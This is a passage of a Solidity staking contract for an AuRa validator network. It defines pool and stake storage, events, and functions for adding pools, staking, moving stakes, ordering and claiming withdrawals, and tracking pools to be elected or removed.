/// @dev The pool's index in the array returned by the `getPoolsToBeElected` getter.
/// Used by the `_deletePoolToBeElected` and `_isPoolToBeElected` internal functions.
/// The pool id is accepted as a parameter.
/// If the value is zero, it may mean the array doesn't contain the address.
/// Check the address is in the array using the `getPoolsToBeElected` getter.
mapping(uint256 => uint256) public poolToBeElectedIndex;
/// @dev The pool's index in the array returned by the `getPoolsToBeRemoved` getter.
/// Used by the `_deletePoolToBeRemoved` internal function.
/// The pool id is accepted as a parameter.
/// If the value is zero, it may mean the array doesn't contain the address.
/// Check the address is in the array using the `getPoolsToBeRemoved` getter.
mapping(uint256 => uint256) public poolToBeRemovedIndex;
/// @dev A boolean flag indicating whether the reward was already taken
/// from the specified pool by the specified staker for the specified staking epoch.
/// The first parameter is the pool id, the second one is staker's address,
/// the third one is staking epoch number.
/// The second parameter should be a zero address if the staker is the pool itself.
mapping(uint256 => mapping(address => mapping(uint256 => bool))) public rewardWasTaken;
/// @dev The amount of tokens currently staked into the specified pool by the specified
/// staker. Doesn't include the amount ordered for withdrawal.
/// The first parameter is the pool id, the second one is the staker address.
/// The second parameter should be a zero address if the staker is the pool itself.
mapping(uint256 => mapping(address => uint256)) public stakeAmount;
/// @dev The number of staking epoch before which the specified delegator placed their first
/// stake into the specified pool. If this is equal to zero, it means the delegator never
/// staked into the specified pool. The first parameter is the pool id,
/// the second one is delegator's address.
mapping(uint256 => mapping(address => uint256)) public stakeFirstEpoch;
/// @dev The number of staking epoch before which the specified delegator withdrew their stake
/// from the specified pool. If this is equal to zero and `stakeFirstEpoch` is not zero, that means
/// the delegator still has some stake in the specified pool. The first parameter is the pool id,
/// the second one is delegator's address.
mapping(uint256 => mapping(address => uint256)) public stakeLastEpoch;
/// @dev The duration period (in blocks) at the end of staking epoch during which
/// participants are not allowed to stake/withdraw/order/claim their staking tokens/coins.
uint256 public stakeWithdrawDisallowPeriod;
/// @dev The serial number of the current staking epoch.
uint256 public stakingEpoch;
/// @dev The duration of a staking epoch in blocks.
uint256 public stakingEpochDuration;
/// @dev The number of the first block of the current staking epoch.
uint256 public stakingEpochStartBlock;
/// @dev Returns the total amount of staking tokens/coins currently staked into the specified pool.
/// Doesn't include the amount ordered for withdrawal.
/// The pool id is accepted as a parameter.
mapping(uint256 => uint256) public stakeAmountTotal;
/// @dev The address of the `ValidatorSetAuRa` contract.
IValidatorSetAuRa public validatorSetContract;
/// @dev The block number of the last change in this contract.
/// Can be used by Staking DApp.
uint256 public lastChangeBlock;
/// @dev The address of the `Governance` contract.
IGovernance public governanceContract;
// Reserved storage slots to allow for layout changes in the future.
uint256[23] private ______gapForPublic;
// ============================================== Constants =======================================================
/// @dev The max number of candidates (including validators). This limit was determined through stress testing.
uint256 public constant MAX_CANDIDATES = 3000;
// ================================================ Events ========================================================
/// @dev Emitted by the `_addPool` internal function to signal that
/// a new pool is created.
/// @param poolStakingAddress The staking address of newly added pool.
/// @param poolMiningAddress The mining address of newly added pool.
/// @param poolId The id of newly added pool.
event AddedPool(address indexed poolStakingAddress, address indexed poolMiningAddress, uint256 poolId);
/// @dev Emitted by the `claimOrderedWithdraw` function to signal the staker withdrew the specified
/// amount of requested tokens/coins from the specified pool during the specified staking epoch.
/// @param fromPoolStakingAddress A staking address of the pool from which the `staker` withdrew the `amount`.
/// @param staker The address of the staker that withdrew the `amount`.
/// @param stakingEpoch The serial number of the staking epoch during which the claim was made.
/// @param amount The withdrawal amount.
/// @param fromPoolId An id of the pool from which the `staker` withdrew the `amount`.
event ClaimedOrderedWithdrawal(
address indexed fromPoolStakingAddress,
address indexed staker,
uint256 indexed stakingEpoch,
uint256 amount,
uint256 fromPoolId
);
/// @dev Emitted by the `moveStake` function to signal the staker moved the specified
/// amount of stake from one pool to another during the specified staking epoch.
/// @param fromPoolStakingAddress A staking address of the pool from which the `staker` moved the stake.
/// @param toPoolStakingAddress A staking address of the destination pool where the `staker` moved the stake.
/// @param staker The address of the staker who moved the `amount`.
/// @param stakingEpoch The serial number of the staking epoch during which the `amount` was moved.
/// @param amount The stake amount which was moved.
/// @param fromPoolId An id of the pool from which the `staker` moved the stake.
/// @param toPoolId An id of the destination pool where the `staker` moved the stake.
event MovedStake(
address fromPoolStakingAddress,
address indexed toPoolStakingAddress,
address indexed staker,
uint256 indexed stakingEpoch,
uint256 amount,
uint256 fromPoolId,
uint256 toPoolId
);
/// @dev Emitted by the `orderWithdraw` function to signal the staker ordered the withdrawal of the
/// specified amount of their stake from the specified pool during the specified staking epoch.
/// @param fromPoolStakingAddress A staking address of the pool from which the `staker`
/// ordered a withdrawal of the `amount`.
/// @param staker The address of the staker that ordered the withdrawal of the `amount`.
/// @param stakingEpoch The serial number of the staking epoch during which the order was made.
/// @param amount The ordered withdrawal amount. Can be either positive or negative.
/// See the `orderWithdraw` function.
/// @param fromPoolId An id of the pool from which the `staker` ordered a withdrawal of the `amount`.
event OrderedWithdrawal(
address indexed fromPoolStakingAddress,
address indexed staker,
uint256 indexed stakingEpoch,
int256 amount,
uint256 fromPoolId
);
/// @dev Emitted by the `stake` function to signal the staker placed a stake of the specified
/// amount for the specified pool during the specified staking epoch.
/// @param toPoolStakingAddress A staking address of the pool into which the `staker` placed the stake.
/// @param staker The address of the staker that placed the stake.
/// @param stakingEpoch The serial number of the staking epoch during which the stake was made.
/// @param amount The stake amount.
/// @param toPoolId An id of the pool into which the `staker` placed the stake.
event PlacedStake(
address indexed toPoolStakingAddress,
address indexed staker,
uint256 indexed stakingEpoch,
uint256 amount,
uint256 toPoolId
);
/// @dev Emitted by the `withdraw` function to signal the staker withdrew the specified
/// amount of a stake from the specified pool during the specified staking epoch.
/// @param fromPoolStakingAddress A staking address of the pool from which the `staker` withdrew the `amount`.
/// @param staker The address of staker that withdrew the `amount`.
/// @param stakingEpoch The serial number of the staking epoch during which the withdrawal was made.
/// @param amount The withdrawal amount.
/// @param fromPoolId An id of the pool from which the `staker` withdrew the `amount`.
event WithdrewStake(
address indexed fromPoolStakingAddress,
address indexed staker,
uint256 indexed stakingEpoch,
uint256 amount,
uint256 fromPoolId
);
// ============================================== Modifiers =======================================================
/// @dev Ensures the transaction gas price is not zero.
modifier gasPriceIsValid() {
require(tx.gasprice != 0);
_;
}
/// @dev Ensures the caller is the BlockRewardAuRa contract address.
modifier onlyBlockRewardContract() {
require(msg.sender == validatorSetContract.blockRewardContract());
_;
}
/// @dev Ensures the `initialize` function was called before.
modifier onlyInitialized {
require(isInitialized());
_;
}
/// @dev Ensures the caller is the ValidatorSetAuRa contract address.
modifier onlyValidatorSetContract() {
require(msg.sender == address(validatorSetContract));
_;
}
// =============================================== Setters ========================================================
/// @dev Fallback function. Prevents direct sending native coins to this contract.
function () payable external {
revert();
}
/// @dev Adds a new candidate's pool to the list of active pools (see the `getPools` getter),
/// moves the specified amount of staking tokens/coins from the candidate's staking address
/// to the candidate's pool, and returns a unique id of the newly added pool.
/// A participant calls this function using their staking address when
/// they want to create a pool. This is a wrapper for the `stake` function.
/// @param _amount The amount of tokens to be staked. Ignored when staking in native coins
/// because `msg.value` is used in that case.
/// @param _miningAddress The mining address of the candidate. The mining address is bound to the staking address
/// (msg.sender). This address cannot be equal to `msg.sender`.
/// @param _name A name of the pool as UTF-8 string (max length is 256 bytes).
/// @param _description A short description of the pool as UTF-8 string (max length is 1024 bytes).
function addPool(
uint256 _amount,
address _miningAddress,
string calldata _name,
string calldata _description
) external payable returns(uint256) {
return _addPool(_amount, msg.sender, _miningAddress, false, _name, _description);
}
/// @dev Adds the `unremovable validator` to either the `poolsToBeElected` or the `poolsToBeRemoved` array
/// depending on their own stake in their own pool when they become removable. This allows the
/// `ValidatorSetAuRa.newValidatorSet` function to recognize the unremovable validator as a regular removable pool.
/// Called by the `ValidatorSet.clearUnremovableValidator` function.
/// @param _unremovablePoolId The pool id of the unremovable validator.
function clearUnremovableValidator(uint256 _unremovablePoolId) external onlyValidatorSetContract {
require(_unremovablePoolId != 0);
if (stakeAmount[_unremovablePoolId][address(0)] != 0) {
_addPoolToBeElected(_unremovablePoolId);
_setLikelihood(_unremovablePoolId);
} else {
_addPoolToBeRemoved(_unremovablePoolId);
}
}
/// @dev Increments the serial number of the current staking epoch.
/// Called by the `ValidatorSetAuRa.newValidatorSet` at the last block of the finished staking epoch.
function incrementStakingEpoch() external onlyValidatorSetContract {
stakingEpoch++;
}
/// @dev Initializes the network parameters.
/// Can only be called by the constructor of the `InitializerAuRa` contract or owner.
/// @param _validatorSetContract The address of the `ValidatorSetAuRa` contract.
/// @param _governanceContract The address of the `Governance` contract.
/// @param _initialIds The array of initial validators' pool ids.
/// @param _delegatorMinStake The minimum allowed amount of delegator stake in Wei.
/// @param _candidateMinStake The minimum allowed amount of candidate/validator stake in Wei.
/// @param _stakingEpochDuration The duration of a staking epoch in blocks
/// (e.g., 120954 = 1 week for 5-seconds blocks in AuRa).
/// @param _stakingEpochStartBlock The number of the first block of initial staking epoch
/// (must be zero if the network is starting from genesis block).
/// @param _stakeWithdrawDisallowPeriod The duration period (in blocks) at the end of a staking epoch
/// during which participants cannot stake/withdraw/order/claim their staking tokens/coins
/// (e.g., 4320 = 6 hours for 5-seconds blocks in AuRa).
function initialize(
address _validatorSetContract,
address _governanceContract,
uint256[] calldata _initialIds,
uint256 _delegatorMinStake,
uint256 _candidateMinStake,
uint256 _stakingEpochDuration,
uint256 _stakingEpochStartBlock,
uint256 _stakeWithdrawDisallowPeriod
) external {
require(_validatorSetContract != address(0));
require(_initialIds.length > 0);
require(_delegatorMinStake != 0);
require(_candidateMinStake != 0);
require(_stakingEpochDuration != 0);
require(_stakingEpochDuration > _stakeWithdrawDisallowPeriod);
require(_stakeWithdrawDisallowPeriod != 0);
require(_getCurrentBlockNumber() == 0 || msg.sender == _admin());
require(!isInitialized()); // initialization can only be done once
validatorSetContract = IValidatorSetAuRa(_validatorSetContract);
governanceContract = IGovernance(_governanceContract);
uint256 unremovablePoolId = validatorSetContract.unremovableValidator();
for (uint256 i = 0; i < _initialIds.length; i++) {
require(_initialIds[i] != 0);
_addPoolActive(_initialIds[i], false);
if (_initialIds[i] != unremovablePoolId) {
_addPoolToBeRemoved(_initialIds[i]);
}
}
delegatorMinStake = _delegatorMinStake;
candidateMinStake = _candidateMinStake;
stakingEpochDuration = _stakingEpochDuration;
stakingEpochStartBlock = _stakingEpochStartBlock;
stakeWithdrawDisallowPeriod = _stakeWithdrawDisallowPeriod;
lastChangeBlock = _getCurrentBlockNumber();
}
/// @dev Makes initial validator stakes. Can only be called by the owner
/// before the network starts (after `initialize` is called but before `stakingEpochStartBlock`),
/// or after the network starts from genesis (`stakingEpochStartBlock` == 0).
/// Cannot be called more than once and cannot be called when starting from genesis.
/// Requires `StakingAuRa` contract balance to be equal to the `_totalAmount`.
/// @param _totalAmount The initial validator total stake amount (for all initial validators).
function initialValidatorStake(uint256 _totalAmount) external onlyOwner {
uint256 currentBlock = _getCurrentBlockNumber();
require(stakingEpoch == 0);
require(currentBlock < stakingEpochStartBlock || stakingEpochStartBlock == 0);
require(_thisBalance() == _totalAmount);
require(_totalAmount % _pools.length == 0);
uint256 stakingAmount = _totalAmount.div(_pools.length);
uint256 stakingEpochStartBlock_ = stakingEpochStartBlock;
// Temporarily set `stakingEpochStartBlock` to the current block number
// to avoid revert in the `_stake` function
stakingEpochStartBlock = currentBlock;
for (uint256 i = 0; i < _pools.length; i++) {
uint256 poolId = _pools[i];
address stakingAddress = validatorSetContract.stakingAddressById(poolId);
require(stakeAmount[poolId][address(0)] == 0);
_stake(stakingAddress, stakingAddress, stakingAmount);
_stakeInitial[poolId] = stakingAmount;
}
// Restore `stakingEpochStartBlock` value
stakingEpochStartBlock = stakingEpochStartBlock_;
}
/// @dev Removes a specified pool from the `pools` array (a list of active pools which can be retrieved by the
/// `getPools` getter). Called by the `ValidatorSetAuRa._removeMaliciousValidator` internal function
/// when a pool must be removed by the algorithm.
/// @param _poolId The id of the pool to be removed.
function removePool(uint256 _poolId) external onlyValidatorSetContract {
_removePool(_poolId);
}
/// @dev Removes pools which are in the `_poolsToBeRemoved` internal array from the `pools` array.
/// Called by the `ValidatorSetAuRa.newValidatorSet` function when pools must be removed by the algorithm.
function removePools() external onlyValidatorSetContract {
uint256[] memory poolsToRemove = _poolsToBeRemoved;
for (uint256 i = 0; i < poolsToRemove.length; i++) {
_removePool(poolsToRemove[i]);
}
}
/// @dev Removes the candidate's or validator's pool from the `pools` array (a list of active pools which
/// can be retrieved by the `getPools` getter). When a candidate or validator wants to remove their pool,
/// they should call this function from their staking address. A validator cannot remove their pool while
/// they are an `unremovable validator`.
function removeMyPool() external gasPriceIsValid onlyInitialized {
uint256 poolId = validatorSetContract.idByStakingAddress(msg.sender);
require(poolId != 0);
// initial validator cannot remove their pool during the initial staking epoch
require(stakingEpoch > 0 || !validatorSetContract.isValidatorById(poolId));
require(poolId != validatorSetContract.unremovableValidator());
_removePool(poolId);
}
/// @dev Sets the number of the first block in the upcoming staking epoch.
/// Called by the `ValidatorSetAuRa.newValidatorSet` function at the last block of a staking epoch.
/// @param _blockNumber The number of the very first block in the upcoming staking epoch.
function setStakingEpochStartBlock(uint256 _blockNumber) external onlyValidatorSetContract {
stakingEpochStartBlock = _blockNumber;
}
/// @dev Moves staking tokens/coins from one pool to another. A staker calls this function when they want
/// to move their tokens/coins from one pool to another without withdrawing their tokens/coins.
/// @param _fromPoolStakingAddress The staking address of the source pool.
/// @param _toPoolStakingAddress The staking address of the target pool.
/// @param _amount The amount of staking tokens/coins to be moved. The amount cannot exceed the value returned
/// by the `maxWithdrawAllowed` getter.
function moveStake(
address _fromPoolStakingAddress,
address _toPoolStakingAddress,
uint256 _amount
) external {
require(_fromPoolStakingAddress != _toPoolStakingAddress);
uint256 fromPoolId = validatorSetContract.idByStakingAddress(_fromPoolStakingAddress);
uint256 toPoolId = validatorSetContract.idByStakingAddress(_toPoolStakingAddress);
address staker = msg.sender;
_withdraw(_fromPoolStakingAddress, staker, _amount);
_stake(_toPoolStakingAddress, staker, _amount);
emit MovedStake(
_fromPoolStakingAddress,
_toPoolStakingAddress,
staker,
stakingEpoch,
_amount,
fromPoolId,
toPoolId
);
}
/// @dev Moves the specified amount of staking tokens/coins from the staker's address to the staking address of
/// the specified pool. Actually, the amount is stored in a balance of this StakingAuRa contract.
/// A staker calls this function when they want to make a stake into a pool.
/// @param _toPoolStakingAddress The staking address of the pool where the tokens should be staked.
/// @param _amount The amount of tokens to be staked. Ignored when staking in native coins
/// because `msg.value` is used instead.
function stake(address _toPoolStakingAddress, uint256 _amount) external payable {
_stake(_toPoolStakingAddress, _amount);
}
/// @dev Moves the specified amount of staking tokens/coins from the staking address of
/// the specified pool to the staker's address. A staker calls this function when they want to withdraw
/// their tokens/coins.
/// @param _fromPoolStakingAddress The staking address of the pool from which the tokens/coins should be withdrawn.
/// @param _amount The amount of tokens/coins to be withdrawn. The amount cannot exceed the value returned
/// by the `maxWithdrawAllowed` getter.
function withdraw(address _fromPoolStakingAddress, uint256 _amount) external {
address payable staker = msg.sender;
uint256 fromPoolId = validatorSetContract.idByStakingAddress(_fromPoolStakingAddress);
_withdraw(_fromPoolStakingAddress, staker, _amount);
_sendWithdrawnStakeAmount(staker, _amount);
emit WithdrewStake(_fromPoolStakingAddress, staker, stakingEpoch, _amount, fromPoolId);
}
/// @dev Orders tokens/coins withdrawal from the staking address of the specified pool to the
/// staker's address. The requested tokens/coins can be claimed after the current staking epoch is complete using
/// the `claimOrderedWithdraw` function.
/// @param _poolStakingAddress The staking address of the pool from which the amount will be withdrawn.
/// @param _amount The amount to be withdrawn. A positive value means the staker wants to either set or
/// increase their withdrawal amount. A negative value means the staker wants to decrease a
/// withdrawal amount that was previously set. The amount cannot exceed the value returned by the
/// `maxWithdrawOrderAllowed` getter.
function orderWithdraw(address _poolStakingAddress, int256 _amount) external gasPriceIsValid onlyInitialized {
uint256 poolId = validatorSetContract.idByStakingAddress(_poolStakingAddress);
require(_poolStakingAddress != address(0));
require(_amount != 0);
require(poolId != 0);
address staker = msg.sender;
address delegatorOrZero = (staker != _poolStakingAddress) ? staker : address(0);
require(_isWithdrawAllowed(poolId, delegatorOrZero != address(0)));
uint256 newOrderedAmount = orderedWithdrawAmount[poolId][delegatorOrZero];
uint256 newOrderedAmountTotal = orderedWithdrawAmountTotal[poolId];
uint256 newStakeAmount = stakeAmount[poolId][delegatorOrZero];
uint256 newStakeAmountTotal = stakeAmountTotal[poolId];
if (_amount > 0) {
uint256 amount = uint256(_amount);
// How much can `staker` order for withdrawal from `_poolStakingAddress` at the moment?
require(amount <= maxWithdrawOrderAllowed(_poolStakingAddress, staker));
newOrderedAmount = newOrderedAmount.add(amount);
newOrderedAmountTotal = newOrderedAmountTotal.add(amount);
newStakeAmount = newStakeAmount.sub(amount);
newStakeAmountTotal = newStakeAmountTotal.sub(amount);
orderWithdrawEpoch[poolId][delegatorOrZero] = stakingEpoch;
} else {
uint256 amount = uint256(-_amount);
newOrderedAmount = newOrderedAmount.sub(amount);
newOrderedAmountTotal = newOrderedAmountTotal.sub(amount);
newStakeAmount = newStakeAmount.add(amount);
newStakeAmountTotal = newStakeAmountTotal.add(amount);
}
orderedWithdrawAmount[poolId][delegatorOrZero] = newOrderedAmount;
orderedWithdrawAmountTotal[poolId] = newOrderedAmountTotal;
stakeAmount[poolId][delegatorOrZero] = newStakeAmount;
stakeAmountTotal[poolId] = newStakeAmountTotal;
if (staker == _poolStakingAddress) {
// Initial validator cannot withdraw their initial stake
require(newStakeAmount >= _stakeInitial[poolId]);
// The amount to be withdrawn must be the whole staked amount or
// must not exceed the diff between the entire amount and `candidateMinStake`
require(newStakeAmount == 0 || newStakeAmount >= candidateMinStake);
uint256 unremovablePoolId = validatorSetContract.unremovableValidator();
if (_amount > 0) { // if the validator orders the `_amount` for withdrawal
if (newStakeAmount == 0 && poolId != unremovablePoolId) {
// If the removable validator orders their entire stake,
// mark their pool as `to be removed`
_addPoolToBeRemoved(poolId);
}
} else {
// If the validator wants to reduce withdrawal value,
// add their pool as `active` if it hasn't already done
_addPoolActive(poolId, poolId != unremovablePoolId);
}
} else {
// The amount to be withdrawn must be the whole staked amount or
// must not exceed the diff between the entire amount and `delegatorMinStake`
require(newStakeAmount == 0 || newStakeAmount >= delegatorMinStake);
if (_amount > 0) { // if the delegator orders the `_amount` for withdrawal
if (newStakeAmount == 0) {
// If the delegator orders their entire stake,
// remove the delegator from delegator list of the pool
_removePoolDelegator(poolId, staker);
}
} else {
// If the delegator wants to reduce withdrawal value,
// add them to delegator list of the pool if it hasn't already done
_addPoolDelegator(poolId, staker);
}
// Remember stake movement to use it later in the `claimReward` function
_snapshotDelegatorStake(poolId, staker);
}
_setLikelihood(poolId);
emit OrderedWithdrawal(_poolStakingAddress, staker, stakingEpoch, _amount, poolId);
}
/// @dev Withdraws the staking tokens/coins from the specified pool ordered during the previous staking epochs with
/// the `orderWithdraw` function. The ordered amount can be retrieved by the `orderedWithdrawAmount` getter.
/// @param _poolStakingAddress The staking address of the pool from which the ordered tokens/coins are withdrawn.
function claimOrderedWithdraw(address _poolStakingAddress) external {
uint256 poolId = validatorSetContract.idByStakingAddress(_poolStakingAddress);
require(poolId != 0);
address payable staker = msg.sender;
address delegatorOrZero = (staker != _poolStakingAddress) ? staker : address(0);
require(stakingEpoch > orderWithdrawEpoch[poolId][delegatorOrZero]);
require(!_isPoolBanned(poolId, delegatorOrZero != address(0)));
uint256 claimAmount = orderedWithdrawAmount[poolId][delegatorOrZero];
require(claimAmount != 0);
orderedWithdrawAmount[poolId][delegatorOrZero] = 0;
orderedWithdrawAmountTotal[poolId] = orderedWithdrawAmountTotal[poolId].sub(claimAmount);
if (stakeAmount[poolId][delegatorOrZero] == 0) {
_withdrawCheckPool(poolId, _poolStakingAddress, staker);
}
_sendWithdrawnStakeAmount(staker, claimAmount);
emit ClaimedOrderedWithdrawal(_poolStakingAddress, staker, stakingEpoch, claimAmount, poolId);
}
/// @dev Sets (updates) the limit of the minimum candidate stake (CANDIDATE_MIN_STAKE).
/// Can only be called by the `owner`.
/// @param _minStake The value of a new limit in Wei.
function setCandidateMinStake(uint256 _minStake) external onlyOwner onlyInitialized {
candidateMinStake = _minStake;
}
/// @dev Sets (updates) the limit of the minimum delegator stake (DELEGATOR_MIN_STAKE).
/// Can only be called by the `owner`.
/// @param _minStake The value of a new limit in Wei.
function setDelegatorMinStake(uint256 _minStake) external onlyOwner onlyInitialized {
delegatorMinStake = _minStake;
}
// =============================================== Getters ========================================================
/// @dev Returns an array of the current active pools (the pool ids of candidates and validators).
/// The size of the array cannot exceed MAX_CANDIDATES. A pool can be added to this array with the `_addPoolActive`
/// internal function which is called by the `stake` or `orderWithdraw` function. A pool is considered active
/// if its address has at least the minimum stake and this stake is not ordered to be withdrawn.
function getPools() external view returns(uint256[] memory) {
return _pools;
}
/// @dev Returns an array of the current inactive pools (the pool ids of former candidates).
/// A pool can be added to this array with the `_addPoolInactive` internal function which is called
/// by `_removePool`. A pool is considered inactive if it is banned for some reason, if its address
/// has zero stake, or if its entire stake is ordered to be withdrawn.
function getPoolsInactive() external view returns(uint256[] memory) {
return _poolsInactive;
}
/// @dev Returns the array of stake amounts for each corresponding
/// address in the `poolsToBeElected` array (see the `getPoolsToBeElected` getter) and a sum of these amounts.
/// Used by the `ValidatorSetAuRa.newValidatorSet` function when randomly selecting new validators at the last
/// block of a staking epoch. An array value is updated every time any staked amount is changed in this pool
/// (see the `_setLikelihood` internal function).
/// @return `uint256[] likelihoods` - The array of the coefficients. The array length is always equal to the length
/// of the `poolsToBeElected` array.
/// `uint256 sum` - The total sum of the amounts.
function getPoolsLikelihood() external view returns(uint256[] memory likelihoods, uint256 sum) {
return (_poolsLikelihood, _poolsLikelihoodSum);
}
/// @dev Returns the list of pools (their ids) which will participate in a new validator set
/// selection process in the `ValidatorSetAuRa.newValidatorSet` function. This is an array of pools
/// which will be considered as candidates when forming a new validator set (at the last block of a staking epoch).
/// This array is kept updated by the `_addPoolToBeElected` and `_deletePoolToBeElected` internal functions.
function getPoolsToBeElected() external view returns(uint256[] memory) {
return _poolsToBeElected;
}
/// @dev Returns the list of pools (their ids) which will be removed by the
/// `ValidatorSetAuRa.newValidatorSet` function from the active `pools` array (at the last block
/// of a staking epoch). This array is kept updated by the `_addPoolToBeRemoved`
/// and `_deletePoolToBeRemoved` internal functions. A pool is added to this array when the pool's
/// address withdraws (or orders) all of its own staking tokens from the pool, inactivating the pool.
function getPoolsToBeRemoved() external view returns(uint256[] memory) {
return _poolsToBeRemoved;
}
/// @dev Returns the list of pool ids into which the specified delegator have ever staked.
/// @param _delegator The delegator address.
/// @param _offset The index in the array at which the reading should start. Ignored if the `_length` is 0.
/// @param _length The max number of items to return.
function getDelegatorPools(
address _delegator,
uint256 _offset,
uint256 _length
) external view returns(uint256[] memory result) {
uint256[] storage delegatorPools = _delegatorPools[_delegator];
if (_length == 0) {
return delegatorPools;
}
uint256 maxLength = delegatorPools.length.sub(_offset);
result = new uint256[](_length > maxLength ? maxLength : _length);
for (uint256 i = 0; i < result.length; i++) {
result[i] = delegatorPools[_offset + i];
}
}
/// @dev Returns the length of the list of pools into which the specified delegator have ever staked.
/// @param _delegator The delegator address.
function getDelegatorPoolsLength(address _delegator) external view returns(uint256) {
return _delegatorPools[_delegator].length;
}
/// @dev Determines whether staking/withdrawal operations are allowed at the moment.
/// Used by all staking/withdrawal functions.
function areStakeAndWithdrawAllowed() public view returns(bool) {
uint256 currentBlock = _getCurrentBlockNumber();
if (currentBlock < stakingEpochStartBlock) return false;
uint256 allowedDuration = stakingEpochDuration - stakeWithdrawDisallowPeriod;
if (stakingEpochStartBlock == 0) allowedDuration++;
return currentBlock - stakingEpochStartBlock < allowedDuration;
}
/// @dev Returns a boolean flag indicating if the `initialize` function has been called.
function isInitialized() public view returns(bool) {
return validatorSetContract != IValidatorSetAuRa(0);
}
/// @dev Returns a flag indicating whether a specified id is in the `pools` array.
/// See the `getPools` getter.
/// @param _poolId An id of the pool.
function isPoolActive(uint256 _poolId) public view returns(bool) {
uint256 index = poolIndex[_poolId];
return index < _pools.length && _pools[index] == _poolId;
}
/// @dev Returns the maximum amount which can be withdrawn from the specified pool by the specified staker
/// at the moment. Used by the `withdraw` and `moveStake` functions.
/// @param _poolStakingAddress The pool staking address from which the withdrawal will be made.
/// @param _staker The staker address that is going to withdraw.
function maxWithdrawAllowed(address _poolStakingAddress, address _staker) public view returns(uint256) {
uint256 poolId = validatorSetContract.idByStakingAddress(_poolStakingAddress);
address delegatorOrZero = (_staker != _poolStakingAddress) ? _staker : address(0);
bool isDelegator = _poolStakingAddress != _staker;
if (!_isWithdrawAllowed(poolId, isDelegator)) {
return 0;
}
uint256 canWithdraw = stakeAmount[poolId][delegatorOrZero];
if (!isDelegator) {
// Initial validator cannot withdraw their initial stake
canWithdraw = canWithdraw.sub(_stakeInitial[poolId]);
}
if (!validatorSetContract.isValidatorOrPending(poolId)) {
// The pool is not a validator and is not going to become one,
// so the staker can only withdraw staked amount minus already
// ordered amount
return canWithdraw;
}
// The pool is a validator (active or pending), so the staker can only
// withdraw staked amount minus already ordered amount but
// no more than the amount staked during the current staking epoch
uint256 stakedDuringEpoch = stakeAmountByCurrentEpoch(poolId, delegatorOrZero);
if (canWithdraw > stakedDuringEpoch) {
canWithdraw = stakedDuringEpoch;
}
return canWithdraw;
}
/// @dev Returns the maximum amount which can be ordered to be withdrawn from the specified pool by the
/// specified staker at the moment. Used by the `orderWithdraw` function.
/// @param _poolStakingAddress The pool staking address from which the withdrawal will be ordered.
/// @param _staker The staker address that is going to order the withdrawal.
function maxWithdrawOrderAllowed(address _poolStakingAddress, address _staker) public view returns(uint256) {
uint256 poolId = validatorSetContract.idByStakingAddress(_poolStakingAddress);
bool isDelegator = _poolStakingAddress != _staker;
address delegatorOrZero = isDelegator ? _staker : address(0);
if (!_isWithdrawAllowed(poolId, isDelegator)) {
return 0;
}
if (!validatorSetContract.isValidatorOrPending(poolId)) {
// If the pool is a candidate (not an active validator and not pending one),
// no one can order withdrawal from the `_poolStakingAddress`, but
// anyone can withdraw immediately (see the `maxWithdrawAllowed` getter)
return 0;
}
// If the pool is an active or pending validator, the staker can order withdrawal
// up to their total staking amount minus an already ordered amount
// minus an amount staked during the current staking epoch
uint256 canOrder = stakeAmount[poolId][delegatorOrZero];
if (!isDelegator) {
// Initial validator cannot withdraw their initial stake
canOrder = canOrder.sub(_stakeInitial[poolId]);
}
return canOrder.sub(stakeAmountByCurrentEpoch(poolId, delegatorOrZero));
}
/// @dev Returns an array of the current active delegators of the specified pool.
/// A delegator is considered active if they have staked into the specified
/// pool and their stake is not ordered to be withdrawn.
/// @param _poolId The pool id.
function poolDelegators(uint256 _poolId) public view returns(address[] memory) {
return _poolDelegators[_poolId];
}
/// @dev Returns an array of the current inactive delegators of the specified pool.
/// A delegator is considered inactive if their entire stake is ordered to be withdrawn
/// but not yet claimed.
/// @param _poolId The pool id.
function poolDelegatorsInactive(uint256 _poolId) public view returns(address[] memory) {
return _poolDelegatorsInactive[_poolId];
}
/// @dev Returns the amount of staking tokens/coins staked into the specified pool by the specified staker
/// during the current staking epoch (see the `stakingEpoch` getter).
/// Used by the `stake`, `withdraw`, and `orderWithdraw` functions.
/// @param _poolId The pool id.
/// @param _delegatorOrZero The delegator's address (or zero address if the staker is the pool itself).
function stakeAmountByCurrentEpoch(uint256 _poolId, address _delegatorOrZero)
public
view
returns(uint256)
{
return _stakeAmountByEpoch[_poolId][_delegatorOrZero][stakingEpoch];
}
/// @dev Returns the number of the last block of the current staking epoch.
function stakingEpochEndBlock() public view returns(uint256) {
uint256 startBlock = stakingEpochStartBlock;
return startBlock + stakingEpochDuration - (startBlock == 0 ? 0 : 1);
}
// ============================================== Internal ========================================================
/// @dev Adds the specified pool id to the array of active pools returned by
/// the `getPools` getter. Used by the `stake`, `addPool`, and `orderWithdraw` functions.
/// @param _poolId The pool id added to the array of active pools.
/// @param _toBeElected The boolean flag which defines whether the specified id should be
/// added simultaneously to the `poolsToBeElected` array. See the `getPoolsToBeElected` getter.
function _addPoolActive(uint256 _poolId, bool _toBeElected) internal {
if (!isPoolActive(_poolId)) {
poolIndex[_poolId] = _pools.length;
_pools.push(_poolId);
require(_pools.length <= _getMaxCandidates());
}
_removePoolInactive(_poolId);
if (_toBeElected) {
_addPoolToBeElected(_poolId);
}
}
/// @dev Adds the specified pool id to the array of inactive pools returned by
/// the `getPoolsInactive` getter. Used by the `_removePool` internal function.
/// @param _poolId The pool id added to the array of inactive pools.
function _addPoolInactive(uint256 _poolId) internal {
uint256 index = poolInactiveIndex[_poolId];
uint256 length = _poolsInactive.length;
if (index >= length || _poolsInactive[index] != _poolId) {
poolInactiveIndex[_poolId] = length;
_poolsInactive.push(_poolId);
}
}
/// @dev Adds the specified pool id to the array of pools returned by the `getPoolsToBeElected`
/// getter. Used by the `_addPoolActive` internal function. See the `getPoolsToBeElected` getter.
/// @param _poolId The pool id added to the `poolsToBeElected` array.
function _addPoolToBeElected(uint256 _poolId) internal {
uint256 index = poolToBeElectedIndex[_poolId];
uint256 length = _poolsToBeElected.length;
if (index >= length || _poolsToBeElected[index] != _poolId) {
poolToBeElectedIndex[_poolId] = length;
_poolsToBeElected.push(_poolId);
_poolsLikelihood.push(0); // assumes the likelihood is set with `_setLikelihood` function hereinafter
}
_deletePoolToBeRemoved(_poolId);
}
/// @dev Adds the specified pool id to the array of pools returned by the `getPoolsToBeRemoved`
/// getter. Used by withdrawal functions. See the `getPoolsToBeRemoved` getter.
/// @param _poolId The pool id added to the `poolsToBeRemoved` array.
function _addPoolToBeRemoved(uint256 _poolId) internal {
uint256 index = poolToBeRemovedIndex[_poolId];
